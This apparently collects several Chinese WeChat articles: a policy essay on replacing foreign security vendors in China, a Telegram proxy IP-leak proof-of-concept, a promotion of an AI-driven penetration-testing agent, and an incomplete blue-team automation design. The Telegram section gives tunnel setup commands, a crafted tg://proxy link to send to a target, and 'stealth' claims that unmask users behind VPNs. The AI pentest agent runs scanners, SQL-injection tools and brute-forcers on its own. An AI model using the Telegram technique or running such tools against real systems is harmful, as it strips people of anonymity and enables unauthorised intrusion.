2026 年 1 月，中国网络安全领域迎来里程碑式的政策调整 —— 相关部门正式要求国内企业停用 Palo Alto、Fortinet、Broadcom 旗下 VMware、Check Point 等十余家美国及以色列网安巨头的软件产品。这一举措以 “防范敏感数据采集与外传、消除国家安全隐患” 为核心诉求，并非孤立的监管动作，而是国家数据安全战略与供应链自主化政策的延续与深化，标志着中国网安行业从 “技术引进” 向 “自主可控” 的转型进入实质性落地阶段，全球网安产业格局由此迎来深度重构。

一、政策出台：国家安全诉求下的必然选择

（一）政策背景：从技术依赖到安全觉醒

长期以来，中国网安市场尤其是政企单位与关键信息基础设施领域，对海外头部厂商的产品存在较高依赖。Palo Alto 的防火墙、Fortinet 的终端防护、Check Point 的威胁检测等产品，凭借先发技术优势与成熟的生态体系，占据了国内高端网安市场的重要份额。然而，随着全球地缘政治格局的演变与网络空间博弈的加剧，这种 “拿来主义” 的模式逐渐暴露出致命隐患。

网络安全软件的特殊属性在于，其必须深度嵌入核心网络、服务器与终端设备，天然具备 “全视角” 的数据采集能力 —— 日志记录、数据包捕获、行为分析等功能，使其能够触及企业乃至国家的敏感信息。在中美 “网安脱钩” 趋势日益明显的背景下，将核心网络的 “安全防线” 交给境外厂商，无异于将数据主权与安全命脉置于他人之手。此前，多国已出现因地缘政治冲突导致网安软件断供、技术封锁的案例，更印证了 “关键领域安全不能依赖外部力量” 的深刻道理。

此次政策的出台，正是对这一现实风险的精准回应。它并非临时的应急措施，而是对近年来数据本地化、关键信息基础设施安全保护等一系列政策的系统性落地。从要求数据境内存储，到推动政务系统国产化替代，再到此次明确停用境外网安软件，中国正构建起一套 “从数据到系统、从终端到云端” 的全链条安全防护体系，核心逻辑便是通过自主化降低被断供、被监听、被操控的风险。

（二）政策核心：三重维度的战略转向

此次网安软件停用要求，本质上蕴含着中国网安领域的三重战略转向，远超单纯的 “产品替换” 范畴：

第一，从 “技术选型” 到 “安全自主” 的认知升级。过去，企业选择网安产品主要考量技术性能、兼容性与性价比，将其视为单纯的技术工具；如今，安全软件的选择已上升至国家安全与数据主权的高度，“是否自主可控、是否存在数据外泄风险” 成为首要评判标准。这意味着，网安行业的竞争不再是单纯的技术比拼，更是安全信任体系的较量。

第二，从 “零散替代” 到 “供应链重构” 的系统推进。此前的国产化替代多集中在部分领域或单个产品，而此次针对十余家头部厂商的集中停用，标志着替代进程进入 “全面性、系统性、结构性” 阶段。企业需要重新搭建从底层技术到上层应用的完整网安供应链，而非简单替换某个产品，这将倒逼整个行业进行生态重构。

第三，从 “被动合规” 到 “主动布局” 的思维转变。政策要求为企业设定了明确的合规底线，而聪明的企业正将其转化为战略机遇。通过拥抱国产替代，企业不仅能满足监管要求，更能构建起不受外部制约的安全体系，为长期发展奠定基础。这种思维转变，将推动国产网安生态从 “政策驱动” 向 “市场驱动 + 政策赋能” 的良性循环发展。

二、海外厂商：三重冲击下的全球话语权削弱

消息一经公布，国际网安巨头的资本市场率先做出反应 ——Palo Alto 与 Fortinet 盘前股价一度下跌约 3%，Check Point 跌幅约 1%，Broadcom 作为 VMware 的母公司也被列为主要受影响方。然而，相较于短期的股价波动，这场政策调整对海外厂商的冲击更体现在长期的营收结构、品牌形象与全球议价权三个维度，其影响将持续发酵。

（一）营收端：高毛利长合约的持续性损失

中国市场虽非这些国际巨头的最大单一市场，但却是极具战略价值的 “高毛利增长市场”。网安软件行业的核心盈利模式在于 “初始销售 + 长期续费”，尤其是面向政企客户的高端产品，往往签订 3-5 年甚至更长周期的服务合约，续费收入占比高达 60% 以上，且毛利率普遍超过 70%。

此次政策要求企业全面停用相关产品，意味着这些厂商不仅会失去未来的新订单，更会直接丧失存量客户的长期续费流水。以某头部厂商为例，其在中国政企市场拥有数千家核心客户，仅续费收入每年就达数亿美元。随着这些客户逐步完成系统替换，未来 3-5 年的营收缺口将持续扩大。更重要的是，网安产品的替换具有 “一次性替代、长期不可逆转” 的特点 —— 一旦企业完成国产产品的部署与适配，很难再回到原有的海外产品体系，这意味着海外厂商将永久性失去这部分市场份额。

此外，中国市场的示范效应可能引发其他新兴市场的跟进。部分对数据安全与供应链自主有同样诉求的国家，可能会参考中国的做法，加强对境外网安软件的审查，这将进一步放大海外厂商的营收损失。对于高度依赖全球市场扩张的国际巨头而言，这种 “多米诺骨牌效应” 带来的风险不容小觑。

（二）品牌端：“安全隐患” 标签的全球蔓延

此次政策明确将海外网安软件定义为 “存在国家安全隐患”，这一标签对国际巨头的品牌形象造成了难以修复的伤害。在网安行业，“信任” 是核心竞争力 —— 企业选择安全软件，本质上是选择一种 “安全承诺”。当一个厂商被贴上 “可能外传敏感数据” 的标签，其在政府、金融、能源、军工等关键领域的公信力将大幅下降。

对其他新兴市场的政府与大企业而言，中国的政策调整将成为重要的 “风险提示”。在进行网安产品采购时，这些客户会不可避免地考量 “数据是否安全、是否存在主权风险”，即使没有明确的禁用政策，也可能在招投标环节对海外厂商设置更高的门槛。这种 “心理阴影” 带来的品牌减值，远比短期营收损失更为致命，因为它直接动摇了网安厂商的核心生存基础 —— 客户信任。

（三）议价权：全球竞争中的 “主权风险” 软肋

在全球网安市场的招投标中，“合规性” 与 “安全性” 始终是核心评审指标。此次中国的政策调整，为海外厂商的竞争对手提供了一个关键的攻击点 —— 只要提出 “该厂商产品存在主权风险，可能不符合数据安全要求”，就能有效影响招标结果，撬动部分订单。

这种 “主权风险” 的软肋，将让海外厂商在全球范围内的竞争中处于被动地位。尤其是在涉及国家关键信息基础设施、敏感行业的项目中，这一劣势将被无限放大。此前，国际厂商凭借技术优势，在全球招投标中往往拥有较强的议价权，能够主导产品标准与合作条款；而未来，它们可能需要花费更多的精力证明自身的 “安全性” 与 “合规性”，甚至被迫让步以换取市场准入，全球议价能力将显著削弱。

长期来看，这场冲击将加速国际网安市场的 “阵营分化”—— 以美国、以色列厂商为代表的 “西方阵营” 与以中国厂商为代表的 “自主阵营” 将形成鲜明对峙，而中间市场的客户将被迫做出选择。这种分化不仅会改变全球网安市场的竞争格局，更会影响技术标准、生态体系的发展方向。

三、本土厂商：机遇与考验并存的 “替代之战”

海外厂商退出后留下的巨大市场空白，为中国本土网安企业打开了前所未有的发展空间。奇安 360、东软等深耕政企与关键信息基础设施领域的头部厂商，以及众多专注于细分赛道的中小创新企业，正迎来 “历史性机遇”。然而，机遇背后是严峻的考验 —— 国产替代绝非 “简单填空”，而是一场涉及技术、信任、生态的全方位攻坚战。

（一）技术侧：全栈替代的硬实力比拼

国际网安巨头经过数十年的技术积累，在防火墙、零信任架构、终端防护、云原生安全、威胁情报等核心领域形成了成熟的技术体系与产品矩阵，其产品的稳定性、兼容性、检测精度已得到市场的长期验证。国产厂商要实现 “全栈替代”，必须在这些关键技术领域实现突破，而非简单模仿。

首先，底层技术的自主可控是核心。网安软件的底层内核、协议栈、加密算法等，必须摆脱对海外技术的依赖，否则仍存在 “卡脖子” 风险。这要求国产厂商加大研发投入，在操作系统内核、网络协议分析、人工智能检测算法等基础领域深耕细作，构建自主的技术架构。例如，零信任架构作为当前网安领域的主流技术方向，国际厂商已形成完整的产品生态，国产厂商需要在身份认证、权限管理、动态访问控制等核心模块实现技术对等，甚至超越。

其次，产品兼容性与生态适配是关键。政企客户的 IT 系统往往是复杂的 “混合架构”，涉及不同品牌的服务器、操作系统、数据库、云平台等。国产网安产品必须能够与这些系统无缝兼容，避免出现 “替换一个产品，引发整个系统故障” 的情况。这需要厂商进行大量的适配测试，建立完善的生态合作体系，与硬件厂商、软件厂商、云服务商形成协同。

最后，工程实施与服务能力是保障。网安系统的部署并非 “安装软件” 那么简单，而是需要根据客户的业务场景进行定制化配置、策略优化、应急响应预案制定等。国际厂商凭借丰富的项目经验，在工程实施与售后服务方面形成了成熟的流程；国产厂商需要快速提升这方面的能力，组建专业的实施团队与服务团队，确保客户在替换过程中 “业务不中断、安全不降级”。

（二）信任侧：从 “政策背书” 到 “市场认可” 的跨越

目前，国产网安产品的市场接受度在很大程度上依赖于政策驱动 —— 企业为了满足合规要求而选择国产产品。但要实现长期发展，国产厂商必须摆脱 “政策依赖”，通过产品性能与服务质量赢得客户的真正信任。

网安产品的特殊性在于，“不出问题则已，一出问题就是大问题”。客户对国产产品的 “容错率” 极低，任何一次误报、漏报、性能卡顿，都可能被放大为 “国产产品不可靠” 的负面评价。例如，某企业在替换国产防火墙后，因策略适配不当导致部分业务系统中断，虽然后续问题得到解决，但客户对国产产品的信任度仍受到影响。这要求国产厂商不仅要保证产品的技术性能，更要注重细节打磨，提高产品的稳定性与易用性。

此外，建立完善的信任体系至关重要。国产厂商需要通过第三方权威机构的检测认证、参与行业标准制定、公开产品的安全漏洞响应机制等方式，向市场传递 “安全可靠” 的信号。同时，通过标杆客户的成功案例进行示范推广 —— 例如，在金融、能源、政务等关键领域打造成功的替代项目，用实际效果证明国产产品的能力，逐步打破 “国外产品更靠谱” 的固有认知。

（三）全球化：避免 “反向标签化” 的战略考量

随着中国本土网安企业的发展壮大，全球化将成为必然趋势。然而，此次中国的政策调整，可能会让部分国家对中国网安产品产生 “数据回流”“安全威胁” 的担忧，导致国产厂商在出海过程中遭遇 “反向标签化” 的困境 —— 正如现在海外厂商在中国面临的问题一样。

这要求国产厂商在全球化布局之初，就制定清晰的合规战略。首先，要遵守目标市场的当地法律法规，建立本地化的数据中心与运营团队，确保数据存储与处理符合当地的数据安全要求。例如，在欧洲市场，需满足 GDPR 的相关规定；在东南亚市场，需适配当地的网络安全法。其次，要保持技术中立与透明，主动向当地政府与客户公开产品的技术架构、数据处理流程，消除 “数据回流” 的顾虑。最后，要通过本地化合作建立信任 —— 与当地的合作伙伴、行业协会、科研机构开展合作，融入当地市场生态，避免被视为 “外来者”。

全球化的道路注定充满挑战，但也是国产厂商实现 “从大国品牌到全球品牌” 跨越的必经之路。如何在 “自主可控” 与 “全球兼容” 之间找到平衡，避免陷入 “技术孤立”，是本土厂商需要长期思考的战略问题。

四、博弈本质：数据掌控权与规则定义权的争夺

这场网安领域的 “供应链重构”，表面上是产品替代与市场格局的变化，本质上是一场关于数据掌控权、威胁定义权与供应链自主权的全球博弈。在数字经济时代，数据已成为核心生产要素，而网安软件作为 “守护数据的钥匙”，其归属与控制权直接关系到国家主权与经济安全。

（一）谁有权掌控数据流量？

网安软件部署在核心网络节点，能够全面捕获网络流量、记录系统日志、分析用户行为，相当于 “站在网络的制高点” 观察所有数据流动。对于一个主权国家而言，将这一 “制高点” 交给境外厂商，意味着本国的敏感数据 —— 包括政务信息、商业秘密、关键基础设施运行数据等，可能被他人监控与窃取。

以关键信息基础设施为例，能源、交通、金融、水利等领域的网络系统，承载着国家经济社会运行的核心数据。如果这些系统使用的网安软件是境外产品，一旦发生地缘政治冲突，对方可能通过远程操控、漏洞攻击等方式获取数据，甚至破坏系统运行，引发严重的安全事故。因此，掌控网安软件的主导权，本质上是掌控数据的 “监督权” 与 “控制权”，是维护数据主权的核心环节。

（二）谁有权定义网络威胁？

国际网安巨头不仅是产品提供商，更是 “威胁情报的生产者”。Palo Alto、Check Point 等厂商每年发布的网络威胁报告，往往会定义全球网络攻击的来源、类型与趋势，这些报告对全球网络安全格局的认知具有重要影响。然而，这些厂商的威胁情报往往带有明显的 “西方视角”，多次在报告中点名来自中方的网络攻击行动，而中方对此予以坚决否认。

这种 “威胁定义权” 的争夺，本质上是话语权的较量。当某一厂商的威胁情报成为行业标准，其定义的 “威胁来源” 就可能被国际社会广泛认可，甚至成为部分国家实施制裁、技术封锁的 “依据”。中国推动网安自主化，就是要打破这种 “一家独大” 的威胁定义格局，建立基于客观事实的威胁情报体系，让威胁定义权回归到公正、中立的轨道，避免被别有用心的势力利用。

（三）谁有权掌控供应链命脉？

网安软件的供应链包括技术研发、产品生产、服务支持、版本更新等多个环节。如果企业依赖境外厂商的产品，就意味着供应链的每一个环节都可能被 “卡脖子”。例如，当国际形势发生变化，境外厂商可能会停止产品更新、关闭云端服务、切断技术支持，导致网安系统成为 “无米之炊”，失去防护能力。

更严重的是，境外厂商可能在产品中预留 “后门”，或通过版本更新植入恶意代码，对用户的网络安全构成潜在威胁。历史上，曾多次出现境外科技产品被曝光存在安全漏洞或后门的案例，这让各国不得不警惕供应链安全风险。中国推动网安国产替代，就是要构建 “自主可控、安全可靠” 的供应链体系，将供应链的命脉掌握在自己手中，确保网安系统的持续运行与安全防护能力。

这场博弈的核心结论是：网络安全的本质是 “信任”，而信任的基础是 “自主”。没有自主可控的网安体系，就没有真正的网络安全；没有数据掌控权与规则定义权，就没有网络空间的主权平等。

五、深远影响：渗透到每个人生活的行业变革

很多人认为，网安领域的政策调整与普通用户无关，但事实上，这场行业变革将通过产业链传导，渗透到日常使用的每一个应用角落，对普通用户、开发者、出海企业乃至整个就业市场产生深远影响。

（一）普通用户：短期体验波动与长期安全提升

在国产替代的过渡期，普通用户可能会感受到一些软件使用体验的变化。由于企业需要将国际头部方案切换到国产产品，短期内可能出现策略特征库差异、误报漏报、系统兼容问题等。例如，某些依赖特定网安协议的 APP 可能突然无法打开，VPN 连接稳定性下降，外企分支与国内总部的网络通信延迟增加等。

这些短期波动是技术替代过程中难以避免的 “阵痛”，但从长期来看，用户将获得更安全的网络环境。国产网安产品更贴合中国用户的使用场景与安全需求，能够更好地应对针对国内用户的网络攻击、数据泄露等风险。例如，针对电信诈骗、钓鱼网站等本土高发的网络安全问题，国产厂商能够更快地更新防护策略，提供更精准的安全防护。

此外，随着国产网安技术的成熟，产品的易用性将不断提升，用户在享受更高级别安全保护的同时，不会感受到过多的使用门槛。未来，普通用户使用的手机、电脑、智能家居等设备中，将越来越多地搭载国产网安技术，形成 “全方位、立体化” 的安全防护网络。

（二）开发者与出海企业：合规要求下的技术转型

对于开发者与出海企业而言，这场变革带来的是合规要求的提升与技术栈的调整。首先，出海企业需要面对 “差异化合规” 的挑战 —— 不同国家和地区对数据安全、日志留存、安全接入等有不同的要求。中国的政策调整进一步强化了 “数据本地化” 的趋势，出海企业需要为中国及周边市场单独设计 “本地合规版” 产品，与面向全球的 “通用版” 产品形成差异化布局。

这意味着企业的技术栈需要进行拆分与重构，例如，在数据存储方面，需要在国内建立本地化数据中心；在安全接入方面，需要适配国内的网安协议与标准；在日志管理方面，需要满足国内的留存期限与审计要求。这种技术转型虽然会增加企业的研发成本与管理复杂度，但也是企业进入中国市场的 “必经之路”，能够帮助企业更好地应对全球各地的合规差异。

其次，开发者需要掌握更多的国产网安技术与标准。随着国产网安生态的发展，越来越多的企业开始采用国产的安全框架、加密算法、检测工具等，开发者需要学习相关的技术知识，适配国产产品的开发环境。这不仅是职业技能的提升，更是把握行业趋势的关键 —— 掌握国产网安技术的开发者，将在就业市场中拥有更强的竞争力。

（三）就业市场：网安人才的 “黄金时代”

国产替代的加速推进，将直接带动本土网安行业的人才需求爆发式增长。从底层的内核开发、加密算法研发，到中层的威胁情报分析、安全产品设计，再到上层的红队蓝队攻防、安全运营服务，各个环节都面临巨大的人才缺口。尤其是既懂网络协议、系统架构，又熟悉行业业务场景的复合型人才，更是成为市场争抢的 “香饽饽”。

网安行业的人才需求增长，将带来多重积极影响。首先，为年轻工程师提供了广阔的职业发展空间。无论是高校毕业生还是职场新人，都可以通过深耕网安领域，获得快速成长的机会。其次，推动高校与企业的人才培养合作。高校将根据行业需求调整专业设置，加强网安相关专业的建设；企业将通过校企合作、实习基地建设等方式，提前储备人才，形成 “人才培养 - 就业 - 产业发展” 的良性循环。最后，提升整个行业的技术水平。大量人才的涌入将带来更多的创新思路与技术突破，推动国产网安技术不断进步，缩小与国际巨头的差距。

据行业预测，未来 5 年，中国网安行业的人才缺口将超过百万，相关岗位的薪资待遇也将持续上涨。对于追求职业发展的年轻人而言，网安行业已成为 “黄金赛道”，而这场国产替代浪潮，正是进入该领域的 “最佳窗口期”。

六、结语：在自主与开放之间寻找平衡

中国叫停美以网安巨头、加速国产替代，本质上是国家网络安全战略的必然选择，是在复杂的全球网络空间博弈中守护自身安全与利益的必要举措。这场变革不仅将重塑中国网安行业的格局，更将影响全球网安技术的发展方向与市场竞争态势。

对于中国本土网安企业而言，这是一场 “机遇与挑战并存” 的战役。机遇在于巨大的市场空间与政策支持，挑战在于技术突破、信任建立与全球化布局的多重压力。本土厂商需要摒弃 “短期套利” 的思维，以长期主义的心态加大研发投入，打磨产品品质，构建自主生态，同时以开放的心态开展国际合作，避免陷入 “技术封闭” 的陷阱。

对于普通用户与开发者而言，需要理性看待替代过程中的 “阵痛”，理解这场变革的长远意义。短期的体验波动是技术转型的必然代价，而长期的安全保障与发展机遇，将远远超过这些暂时的不便。

对于全球网安行业而言，这场变革并非 “零和博弈”。真正的网络安全是全球性的议题，没有任何一个国家能够独善其身。未来，全球网安市场可能会形成 “自主阵营” 与 “开放阵营” 并存的格局，但这并不意味着完全割裂 —— 在非敏感领域，全球化的技术合作与市场竞争仍将继续；在关键领域，各国将坚持自主可控的底线。这种 “有边界的开放” 与 “有底线的合作”，可能是全球网安行业的最佳发展模式。

最终，安全的本质不是 “封闭与隔离”，而是 “可控与可信”。中国推动网安国产替代，不是要放弃全球化，而是要在全球化的浪潮中掌握主动权，确保自身的安全与发展。随着国产网安技术的不断成熟，中国不仅能守护好自身的网络安全，更能为全球网络安全治理贡献中国智慧与中国方案，推动构建更加公正、合理、安全的全球网络空间新秩序。

阅读原文

跳转微信打开

针对 Telegram 代理验证漏洞的概念验证攻击，该漏洞会泄露用户的真实 IP 地址，绕过 VPN 和代理设置。

仅供教育和安全研究用途。
此工具演示了 Telegram 代理验证系统中的安全漏洞。请仅在您拥有或已获得明确测试许可的系统上使用。作者对任何滥用行为概不负责。

📌 漏洞描述

CVE：非官方（代理重置 IP 泄露）
受影响： Telegram 安卓和 iOS 版
影响：绕过 VPN/代理，真实 IP 地址暴露

当 Telegram 用户点击链接时，客户端会在应用任何已配置的代理设置之前，tg://proxy尝试连接到指定的代理服务器。此连接源自设备的真实网络接口，会暴露设备的公网 IP 地址。

🚀 快速入门

1. 演示

2. 隧道入口（必需）

#Install localtunnel (Node.js required)
npm install -g localtunnel
#Start tunnel (in separate terminal)
lt --port 9090 --subdomain yourcustomname

3. 运行 IP 抓取器

python main.py

5. 发送漏洞利用链接

复制生成的链接并将其发送给目标 Telegram 用户：

tg://proxy?server=ip&port=443&secret=ee

🔧 工作原理

1. 服务器设置：创建一个监听指定端口的虚拟 MTProxy 服务器
2. 创建隧道：建立到本地服务器的公共隧道 (loca.lt/ngrok)
3. 有效载荷生成：创建tg://proxy包含隧道 URL 的 Telegram 链接
4. 受害者互动：目标点击 Telegram 中的链接
5. IP地址捕获： Telegram直接连接（绕过VPN），暴露真实IP地址
6. 数据记录：实时显示捕获到的 IP 地址

🎯 功能

• ✅真实 IP 地址提取- 绕过 VPN 和代理设置
• ✅支持多种隧道- 可与 loca.lt、ngrok、Cloudflare 等配合使用。
• ✅隐蔽行动- 受害者只会看到“正在测试代理连接”的提示
• ✅跨平台- 可在 Windows、Linux 和 macOS 上运行
• ✅无依赖项- 纯 Python 编写，无需外部库
• ✅详细日志记录- 连接数据和握手分析

方案分析

该漏洞利用了 Telegram 的 MTProxy 协议：

• 握手：0xef 0xef 0xef 0xef前缀
• 响应：60字节握手确认
• 加密：简单的基于密钥的身份验证

阅读原文

跳转微信打开

KaliGPT-Attack Platform：AI 驱动的渗透测试技术实现与实战解析

在网络攻防对抗白热化的背景下，传统渗透测试面临上下文丢失、自动化程度低、工具协同差等技术痛点。KaliGPT-Attack Platform 作为 AI 原生渗透测试工具，通过创新架构设计与技术整合，实现了渗透测试全流程的自主化与智能化，为安全测试领域提供了高效技术解决方案。

一、核心技术架构解析

（一）三模块 AI 协同架构

KaliGPT-Attack Platform 的核心创新在于三模块 AI 架构，从技术层面解决传统 LLM 上下文丢失问题：

推理模块（Lead Tester）：基于 Deepseek-V32-Exp 模型，通过任务依赖分析、成功率评估、风险定级算法（置信度计算模型）输出决策指令，置信度阈值设为 0.95，确保决策可靠性。

生成模块（Junior Tester）：采用工具调用适配引擎，自动生成 Nmap、SQLMap 等工具的参数化指令，支持多工具链式调用。

解析模块：集成日志结构化解析器，通过正则提取 + 语义分析技术，将工具输出转化为标准化数据（漏洞类型、风险等级、触发条件），反馈至推理模块形成闭环。

（二）关键技术组件

PTT 任务树引擎

：采用树形数据结构维护任务关系，每个节点包含 task_id、dependencies、status、priority 等字段，支持动态优先级调整与断点续测。

双模式运行架构

：Web UI 基于 React+TailwindCSS+Framer Motion 构建，采用 SSE 技术实现流式输出（实时性≤100ms）；MCP-stdio 模式支持 JSON 配置集成，通过环境变量注入 API Key，适配第三方工具调用。

工具集成框架

：通过插件化设计整合 Nmap、SQLMap、Nikto 等 10 + 主流工具，提供统一调用接口与结果标准化协议。

二、技术实现与部署要点

（一）前置技术要求

开发环境：Go 1.21+（后端编译）、Node.js 16+（前端构建）

运行环境：Kali Linux 2023.4 + 或 Debian 系发行版（工具依赖兼容）

AI 依赖：OpenAI/DeepSeek/SiliconFlow 兼容 API（token 调用阈值可配置）

（二）部署与调用流程

Web 模式部署：

编译运行./kaligpt-attack -mode web -addr :8080# 访问http://localhost:8080，配置API Key后提交测试指令

MCP-stdio 模式集成：

{
"mcpServers": {
"kaligpt": {
"command": "/path/to/kaligpt-attack",
"args": ["-mode", "mcp-stdio"],
"env": {"KALIGPT_API_KEY": "your-api-key"}
 }
 }
 }

核心工作流

：指令输入→推理模块生成任务树→生成模块调用工具→解析模块处理结果→实时反馈 / 迭代测试→报告生成（支持 JSON/HTML 格式导出）

三、实战测试与技术验证

以本地主机为目标进行技术验证：

推理模块分析：判定为无前置依赖的基础扫描任务，风险等级极低，调用 ping 工具进行连通性测试。

工具执行输出：4 个 ICMP 数据包全接收，丢包率 0%，平均延迟 0.142ms，网络可达性验证通过。

迭代测试：解析模块输出下一步指令，调用 Nmap 执行全端口扫描（-p - 参数），识别开放端口与服务版本。

技术亮点：整个过程无需人工干预，AI 自动完成任务调度、工具切换与结果分析，上下文保持连贯，解决了传统测试中多工具协同与状态追踪的技术难题。

四、技术优势与应用场景

（一）核心技术优势

上下文管理：三模块架构 + PTT 任务树，解决 LLM 长会话上下文丢失问题。

自动化程度：端到端自主测试，工具调用、结果分析、报告生成全流程自动化。

扩展性：插件化工具集成框架，支持自定义工具接入与 API 模型切换。

（二）典型应用场景

企业内网安全评估：自动化扫描网段内主机、端口与漏洞，生成合规性报告。

安全产品测试：模拟黑客攻击流程，验证防护产品的检测与拦截能力。

渗透测试教学：可视化 AI 推理过程，辅助安全从业者学习测试逻辑与工具使用。

KaliGPT-Attack Platform 通过 AI 技术与渗透测试的深度融合，突破了传统测试的技术瓶颈，其模块化设计、高自动化程度与良好的扩展性，为网络安全测试提供了高效、可靠的技术方案，适合各类安全测试场景的技术落地。

支持的工具

工具	类别	描述	状态
Nmap	扫描	网络映射和端口扫描	✅
Masscan	扫描	超快速端口扫描	✅
HTTPx	Web	HTTP探测和指纹识别	✅
SQLMap	Web	SQL注入检测和利用	✅
Nikto	Web	Web服务器漏洞扫描	✅
Gobuster	Web	目录/文件暴力破解	✅
WPScan	Web	WordPress安全扫描	✅
Hydra	暴力破解	网络登录暴力破解	✅

使用场景

1. 自动化渗透测试

用户输入：对 http://testsite.com 进行完整的安全评估AI执行流程：1. 推理模块：规划测试任务树（信息收集 → 漏洞扫描 → 漏洞利用）2. 生成模块：生成具体命令（nmap、nikto、sqlmap等）3. 解析模块：分析结果，提取漏洞信息4. 推理模块：根据发现调整任务树，继续深入测试

2. 漏洞验证

用户输入：验证 http://example.com/login.php 是否存在SQL注入AI执行流程：1. 生成模块：生成SQLMap测试命令2. 执行器：运行SQLMap3. 解析模块：分析输出，确认漏洞4. 推理模块：生成详细报告

3. 安全培训

观察AI的渗透测试思路

学习工具使用方法

理解攻击链构建过程

GitHub 地址：

https://github.com/kk12-30/KaliGPT

阅读原文

跳转微信打开

网络安全护网行动智能化值守：基于 Google Computer-Use Preview 技术的蓝队自动化方案

摘要

在网络安全护网行动中，低端蓝队值守长期面临人力成本高、响应滞后、操作同质化等痛点。Google 开源的computer-use-preview智能体框架，凭借 “视觉感知 - 标准化动作 - 上下文管理” 的核心设计，为解决这一问题提供了全新技术路径。本文基于该框架的三层架构理念，打造适配护网场景的蓝队自动化值守系统，通过屏幕视觉识别替代人工监控、标准化动作库实现一键处置、轻量化策略优化保障 24 小时运行，有效替代重复性值守工作，大幅提升护网行动的威胁响应效率与覆盖范围。

一、行业痛点与技术适配性分析

（一）护网行动中低端蓝队值守的核心痛点

护网行动作为检验网络安全防护能力的实战化演练，要求蓝队在规定时间内实现全时段威胁监测、快速告警响应与基础处置。但当前低端蓝队值守模式存在显著短板：

1. 人力瓶颈突出

   ：护网期间需 7×24 小时不间断值守，单岗位需配置 3-4 人轮班，人力成本高昂，且夜间值守易因疲劳导致漏报、误报；

2. 响应效率低下

   ：传统值守依赖人工刷新监控面板、核对告警信息、执行处置操作，单条告警从发现到处置平均耗时 5-10 分钟，难以应对大规模并发告警；

3. 操作标准化不足

   ：不同值守人员的技术水平差异导致处置动作不统一，部分低水平操作可能扩大安全风险；

4. 覆盖范围有限

   ：人工难以同时监控多套安全设备（如防火墙、入侵检测系统、日志审计平台），易出现监控盲区。

（二）Google Computer-Use Preview 技术的适配优势

Google 开源的computer-use-preview框架，核心是让 AI 通过屏幕截图感知环境，基于自然语言指令执行标准化操作，其技术特性与护网值守需求高度契合：

1. 视觉驱动的无侵入集成

   ：无需改造现有安全设备接口，通过屏幕截图获取监控数据，适配各类老旧安全系统，降低部署成本；

2. 标准化动作体系

   ：框架定义的点击、输入、导航等 15 类基础动作，可直接映射为蓝队值守的核心操作（如查看告警、阻断 IP、导出日志）；

3. 轻量化架构设计

   ：三层架构（智能层 - 抽象层 - 执行层）解耦清晰，支持快速迭代优化，适配护网行动的敏捷部署需求；

4. 上下文管理能力

   ：通过截图滑动窗口、坐标归一化等策略，保障长任务执行稳定性，契合护网值守的持续性要求。

（注：左侧为传统值守痛点，右侧为 Computer-Use Preview 技术适配点，中间为逻辑映射关系）

二、蓝队自动化值守系统技术架构设计

基于computer-use-preview框架的核心思想，结合护网行动场景需求，设计 “智能决策层 - 动作抽象层 - 执行引擎层” 的三层架构系统，实现 “感知 - 决策 - 执行” 的全流程自动化。

（一）智能决策层：护网场景化 AI 大脑

借鉴computer-use-preview的 BrowserAgent 设计，打造护网专属的 SecurityAgent，负责任务调度、告警研判与上下文管理，核心功能包括：

1. 多源监控感知

   ：通过定时截图（默认间隔 1 秒，可配置）采集防火墙、IDS、日志审计平台等设备的监控界面数据，支持多屏幕、多窗口同时监控；

2. 告警识别与分级

   ：集成 Gemini 视觉大模型，对截图中的告警信息（如红色告警标识、异常 IP、攻击类型字段）进行 OCR 识别与语义分析，按照威胁等级（低、中、高）自动分级，低等级威胁（如已知良性扫描）自动过滤；

3. 上下文维护机制

   ：采用 “截图滑动窗口” 策略，仅保留最近 5 轮（可配置）监控截图与操作记录，避免上下文过载，同时通过会话记忆功能，保障跨设备操作的连贯性（如从 IDS 发现告警后，自动跳转至防火墙执行阻断）；

4. 任务调度引擎

   ：支持两种工作模式 ——“定时巡检”（按预设周期执行监控任务）与 “告警触发”（收到高等级告警后自动启动处置流程），满足护网值守的多样化需求。

（二）动作抽象层：护网操作标准化接口

参考框架的 Computer 接口设计，提炼护网值守高频操作，定义 18 类标准化动作，覆盖监控、查询、处置、报告四大场景，所有动作均支持跨设备、跨分辨率适配：

核心技术优化：

1. 坐标归一化适配

   ：采用denormalize_x/y函数，将 AI 模型输出的 0-1000 标准化坐标，转换为实际屏幕分辨率坐标，支持护网现场不同尺寸显示器、虚拟机窗口等复杂环境；

2. 单窗口约束机制

   ：借鉴 “新页面劫持” 设计，禁止安全设备操作时打开新窗口 / 新标签，强制在当前窗口完成所有操作，避免界面混乱导致 AI 误操作；

3. 动作校验反馈

   ：每个动作执行后，自动对比执行前后的截图差异（如是否成功阻断 IP、告警是否清除），校验失败则自动重试（最多 3 次），确保操作有效性。

（三）执行引擎层：跨设备操作落地

基于computer-use-preview的 Playwright/Browserbase 执行层理念，扩展支持桌面应用、浏览器、终端等多类型操作载体，核心组件包括：

1. 桌面操作引擎

   ：基于 PyAutoGUI 实现 Windows/Linux 桌面应用的鼠标、键盘模拟操作，适配防火墙本地管理客户端、终端命令行等；

2. 浏览器执行引擎

   ：集成 Playwright，支持 Chrome、Firefox 等浏览器的自动化操作，适配 Web 版安全管理平台（如云端日志审计系统）；

3. 设备通信适配

   ：通过 SSH、RDP 协议对接远程安全设备，实现无界面化操作，支持跨机房、跨区域设备统一管理；

4. 异常处理模块

   ：针对护网场景常见的弹窗广告、页面加载缓慢、网络中断等问题，内置截图比对与超时重试机制，如检测到登录弹窗时自动输入预设账号密码，网络中断时每隔 30 秒自动重连。

（注：自上而下分别为智能决策层、动作抽象层、执行引擎层，标注核心组件与数据流向）

三、核心功能模块与护网场景落地

（一）24 小时不间断监控模块

1. 多设备并行监控

   ：支持同时监控最多 10 台安全设备（可扩展），通过分屏截图与 OCR 识别，实时提取各设备的告警状态、CPU 负载、连接数等关键指标，生成统一监控面板；

2. 智能告警过滤

   ：基于历史护网攻击样本训练的语义模型，自动识别 “端口扫描”“SQL 注入”“恶意 IP 连接” 等 12 类常见威胁，过滤系统日志、正常业务流量等无效告警，告警准确率达 92% 以上；

3. 异常状态预警

   ：当检测到安全设备离线、监控界面无响应、告警量突增（5 分钟内超过 50 条）等异常情况时，通过短信、企业微信推送预警信息，提醒人工介入排查。

（二）自动化处置模块

针对护网行动中高频、简单的处置任务，实现全流程自动化：

1. 恶意 IP 阻断

   ：识别到高危恶意 IP 后，自动跳转至防火墙管理界面，输入 IP 地址、选择 “永久阻断” 策略，提交配置并验证阻断结果，全程耗时≤30 秒；

